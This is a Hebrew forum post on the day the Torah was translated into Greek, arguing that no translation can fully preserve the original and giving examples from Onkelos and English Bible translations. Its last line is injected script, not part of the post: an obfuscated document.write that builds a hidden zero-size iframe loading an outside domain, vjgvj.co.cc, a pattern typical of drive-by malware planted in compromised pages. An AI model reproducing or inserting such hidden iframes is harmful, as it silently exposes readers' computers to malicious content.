ח' בטבת - יום תרגום התורה ליוונית

"באופן המנסה לשמור על התוכן המקורי "

למ80

על  זה כל הדיון.
לטענתי נסיון זה לא יכל להצליח.

כמה אמירות, אולי לא טריביאליות, על תירגום.

אם מתבוננים ברעיון של תירגום, הרי כמדומה שיש כאן שתי נטיות מנוגדות.

א. התירגום מאפשר למקור להגיע ליותר קוראים ולומדים.

דוגמא של מה בכך: יש סופרים שהחלו להתפרסם ולהתפרנס מן הפירסום רק לאחר שתורגמו. אם זכרוני אינו מטעני, פנחס שדה, סופר מקורי הראוי לאשכול (אולי היה) מספר על כך באחת הביוגרפיות שלו.

שם זה היה לתועלת הסופר. כאן אנו מדברים על העברת המסר התורני.

וזה מוביל לשאלה על קהל היעד. יהודים או גויים? או גם וגם?

וזה מוביל לשתי שאלות. לגבי הגויים, אם ראוי לחשוף אותם לתורה, והאם זה מותר, אסור, מצוה?

וכמובן יכולה להיות בדבר מחלוקת תנאים. שתי הגישות מוצגות בספר ששמו מביע את הרעיון: "תורה לכל באי עולם" של מנחם הירשמן.

וגם לגבי היהודים, אם מעניקים להם תירגום, הם פחות יתאמצו לקרוא את המקור. המקור עלול להידחות מפני התירגום, כפי שהכתיבה של התורה בכתב רעץ נדחתה מפני הכתב היפה יותר האשורי.

הקפדה על שימוש עברי בלבד תורמת לחיזוק הקשר עם השורשים (ארץ, שפה, הגדרה עצמית) וגם מגינה על החברה, יחסית, מפני השתנות ומודרניזציה (תופעה שמוכרת היום אבל היתה קיימת גם מול התרבות היוונית כפי שכבר נכתב כאן). שיקול זה פועל בדיונים על תירגום התפילה לשפות אחרות ועל עצם התפילה בשפות אחרות.


ב. תירגום אינו יכול להיות נאמן לגמרי למקור. כל תירגום הוא פירוש ברמה מסויימת. (ואולי יש להיזקק לשאלה הקשה מאד מהו פירוש).

על אחת כמה וכמה בתורה שאמורה להכיל רמזים בדרגות שונות ובאופנים שונים של רמיזה. "רמיזה" במובן של העברת מסרים מכוונים לא רק ברמת המשמעות של המשפט (לפי ויטגנשטיין, המשמעות היא נחלתו של משפט או של קטע).

ואיפה שותף סוד שיפרט איך זה בדוגמאותיו.

עד שיבוא שותף סוד אפשר לעיין בספרו החדש של יוסף דן על תורת הסוד, בכרך א' או ב', יש פרק חשוב על התפתחות תפיסת הפרשנות של התורה ברבדים נוספים מעבר למשמעות הראשונים הויטגנשטינית.

מכאן אפשר להגיע עד לקריאה בקודים. כותב שורות אלו מתנגד נחרצות לקריאה כזו, אבל היא ממחישה יפה את חוסר האפשרות של תירגום ממצה ונכון.

***
דוגמא: את הביטוי "בני ישראל יוצאים בראש מורם" מתרגם אונקלוס "בריש גלי". כמדומה שהביטוי האנגלי הוא WALKING TALL. אבל שני הביטויים החליפיים, הארמי והאנגלי, יכילו פחות מאשר הטקסט העברי באופן הכרחי כי כל תירגום מאבד את הקונוטציות שבמקור. (משמעויות הלואי. יש משמעויות תרבותיות ויש פרטיות אך אלו האחרונות אינן יכולות לקבוע כי הן משתנות מאדם לאדם).

זכורני מאמר שראיתי בשכבר הימים בטיים (או בניוזוויק) שהשווה בין תירגומים חדשים וישנים לאנגלית. מצא חן בעיני תירגום חדש שהכין פרופסור לספרות, והיה לו טעם של המקור (לפי תחושתי שלי, וכמובן רק על סמך כמה דוגמאות מהמאמר, וגם אלו מהחלקים הסיפוריים של התורה). כמדומה שכך ניתן לומר על התירגום של רוזנצוויג ובובר (לפי נחמה לייבוביץ כמדומה).

אוסיף עוד נקודה שלא ראיתי שמזכירים בדרך כלל. תירגום של טקסט קלאסי נשען וראוי לו להישען על נסיון לחפש את הניסוח הקרוב ביותר למקור כפי שהוא משתמע בתרבות. לפיכך הוא אמור לינוק מהמקבילות המכילות כמה שיותר נקודות דמיון בשפת התירגום.

אבל אם הטקסט חשוב דיו, בשלב כלשהו עצם נוכחותו של התירגום תעניק למילות התרגום אותן קונוטציות מוכרות מן המקור ואדרבה, תשפיע על שימושי המילים שנבחרו בשפת התירגום כך שהן יתחילו לקבל משמעים נוספים (אולי לא בהכרח מדוייקים כמו בשפת המקור) בשל מעמדן הבכיר, כאלו שנבחרו לתירגום הטקסט רב החשיבות.

עוד אציין שהיתה מלחמה נגד נסיונות תירגום במשך הדורות, בעיקר למקרא או לתנ"ך בכלל, אבל כמדומה שלאחר מכן גם לתלמוד. אבל בשלב כלשהו המלחמה פגה ואיכשהו הוצאת ארטסקרול הצליחה להוציא לא רק את פירוש שוטנשטיין (העברי הוא הרחבה של הרעיון של המקור האנגלי שהיה הרבה יותר פשטני ומיועד באמת לחסרי רקע תלמודי) אלא גם תירגום למקרא בלי שאיש יחרים את ההוצאה (לא שאני בעד החרמות כאלו).

ושוב מהזכרון, המתרגם עשה לדעתי גרוע מאד ותירגם, כמו בדוגמא שהביא ספרן מתירגום היידגר, להבדיל, את הביטויים והמטאפורות כפשוטן.

"אין צור כאלוקינו" - THERE IS NO ROCK LIKE OUR  GOD

(עכשו אפשר לפתח באשכול אחר דיון על קדושת השמות בשפות זרות...).

תירגום לתירגום: אין שום סלע כמו אלוקים שלנו.

זה נכון אבל לא נכון. האם הקונוטציות באנגלית של סלע דומות לשל העברית?

_________________

שומר פיו ולשונו - שומר מצרות נפשו

נוסף קטע ארוך ששכחתי תחילה על ההשלכות של שימוש בשפת תירגום לטוב ולרע.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");